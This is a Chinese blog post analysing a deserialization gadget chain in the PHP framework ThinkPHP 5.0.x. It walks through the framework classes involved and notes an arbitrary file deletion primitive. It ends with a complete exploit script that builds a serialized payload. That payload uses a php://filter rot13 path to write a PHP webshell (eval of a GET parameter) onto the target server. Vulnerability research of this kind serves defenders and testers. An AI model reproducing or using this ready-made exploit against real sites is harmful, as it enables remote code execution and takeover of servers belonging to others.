ThinkPHP5.0.x 反序列化分析

漏洞分析

起点为/thinkphp/library/think/process/pipes/Windows.php的__destruct()

在这里插入图片描述

跟进其中的removeFiles()函数

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

其中files是可控的
这里存在任意文件删除的漏洞点

file_exists对filename进行处理,会将其当做String类型的
可以触发任意类的__toString方法

function is_writable(string $filename): bool {}

think下的Model.php中存在一处

public function __toString()
    {
        return $this->toJson();
    }

一直到toArray方法

/**
     * 转换当前模型对象为数组
     * @access public
     * @return array
     */
    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

在这段代码中值得注意的是

在这里插入图片描述

$item[$key] = $relation->append($name)->toArray();

$item[$key] = $relation->append([$attr])->toArray();

$bindAttr = $modelRelation->getBindAttr();

$item[$key] = $value ? $value->getAttr($attr) : null;

这四处是可以调用到__call方法的

例如用第四处进行调用

$modelRelation是通过$this->getAttr($key)赋值
要调用Output下的__call,这里的$value也需要时Output的对象

其中getRelationData对获取的值进行处理

protected function getRelationData(Relation $modelRelation)
    {
        if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
            $value = $this->parent;
        } else {
            // 首先获取关联数据
            if (method_exists($modelRelation, 'getRelation')) {
                $value = $modelRelation->getRelation();
            } else {
                throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
            }
        }
        return $value;
    }

跟进到isSelfRelationgetModel

public function isSelfRelation()
    {
        return $this->selfRelation;
    }
public function getModel()
    {
        return $this->query->getModel();
    }
public function getModel()
    {
        return $this->model;
    }

发现都是可控的

上面提到$value需要是Output的对象
当然这里的参数也需要是该类对象
在这里插入图片描述

也就是return $this->model;get_class($this->parent)为同类

接着跟进getBindAttr

public function getBindAttr()
    {
        return $this->bindAttr;
    }

依然可控

那就可以执行最后$item[$key] = $value ? $value->getAttr($attr) : null;

那么下面就来分析这个类
在这里插入图片描述

首先看下回调的block方法
一直跟进到
在这里插入图片描述

注意到handle可控,搜索下调用的write方法
Memcached.php
在这里插入图片描述

接着搜索set方法
File.php

public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

注意到
在这里插入图片描述
可以通过伪协议写入shell并绕过死亡exit

在这里插入图片描述
在这里插入图片描述
由于最后调用 set 方法中的参数来自先前调用的 write 方法只能为 true,且这里 $expire 只能为数值,这样文件内容就无法写 shell

所以后面无法在文件内容写入shell

在后面的setRagItem函数会再次执行set方法

过程

Windows::__destruct()->removeFiles()Model::__toString()->toJson()Model::tiJson()->toArray()Model::toArrray()->getAttr()Output::__call()->block()Output::block()->writeln()Output::writeln()->write()Output::write()->write()Memcached::write->set()File::set()->setTagItem()Driver::setTagItem()->set()

偷了一位师傅的图
非常详细
在这里插入图片描述

这里可能有些内容写的不是很详细
还请各位读者谅解

EXP

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }

}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();//目的调用File->set()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[q1ab])?>',
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{


}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP是一个开源的PHP开发框架,它的版本3.2.x是一个老版本,存在远程命令执行(RCE)漏洞。这个漏洞允许攻击者通过构造恶意请求来执行任意的系统命令,从而获得对应用服务器的完全控制权限。 这个漏洞的原因是在ThinkPHP 3.2.x版本的核心代码中没有对用户的输入进行充分的过滤和校验。攻击者可以利用这个漏洞来执行各种恶意操作,比如上传恶意文件、修改数据库内容或者获取系统敏感信息等。 为了利用这个漏洞,攻击者需要构造一个特殊的请求,其中包含可执行的系统命令。然后将这个请求发送到受影响的应用程序的漏洞点上。当应用程序在处理这个请求时,会将其中的系统命令当作可执行代码来执行,最终导致攻击者获取对应用服务器的控制权限。 为了修复这个漏洞,用户可以升级到最新版本ThinkPHP框架。在最新版本中,开发者已经修复了这个漏洞,并加强了对用户输入的过滤和校验。此外,用户还可以根据自己的需求对应用程序进行进一步的安全加固,比如限制上传文件的类型和大小,对用户输入进行严格的过滤和校验等。 总之,ThinkPHP 3.2.x版本存在远程命令执行漏洞,攻击者可以通过构造恶意请求来执行任意的系统命令。为了修复这个漏洞,用户可以升级到最新版本ThinkPHP框架,并加强应用程序的安全加固措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值